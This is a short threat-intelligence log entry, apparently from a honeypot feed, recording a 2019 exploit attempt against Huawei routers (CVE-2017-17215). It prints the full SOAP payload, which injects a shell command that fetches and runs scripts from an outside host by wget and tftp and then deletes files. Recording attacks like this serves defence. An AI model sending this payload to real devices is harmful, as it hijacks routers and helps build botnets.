193.29.15.233

Source IP: 193.29.15.233
Country: Romania
Payload: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
POST Data: "<?xml version=\x221.0\x22 ?>\x0A    <s:Envelope xmlns:s=\x22http://schemas.xmlsoap.org/soap/envelope/\x22 s:encodingStyle=\x22http://schemas.xmlsoap.org/soap/encoding/\x22>\x0A    <s:Body><u:Upgrade xmlns:u=\x22urn:schemas-upnp-org:service:WANPPPConnection:1\x22>\x0A    <NewStatusURL>$(cd /tmp || cd /run || cd /; wget http://185.172.110.243/SakDbins.sh; chmod 777 SakDbins.sh; sh SakDbins.sh; tftp 185.172.110.243 -c get SakDtftp1.sh; chmod 777 SakDtftp1.sh; sh SakDtftp1.sh; tftp -r SakDtftp2.sh -g 185.172.110.243; chmod 777 SakDtftp2.sh; sh SakDtftp2.sh; rm -rf SakDbins.sh SakDtftp1.sh SakDtftp2.sh; rm -rf *)</NewStatusURL>\x0A<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\x0A</u:Upgrade>\x0A    </s:Body>\x0A    </s:Envelope>"
Target Port: 37215
Bad Packets® Tags: Huawei RCE | Router | CVE-2017-17215
Date Last Seen: 2019-10-31T19:58:28Z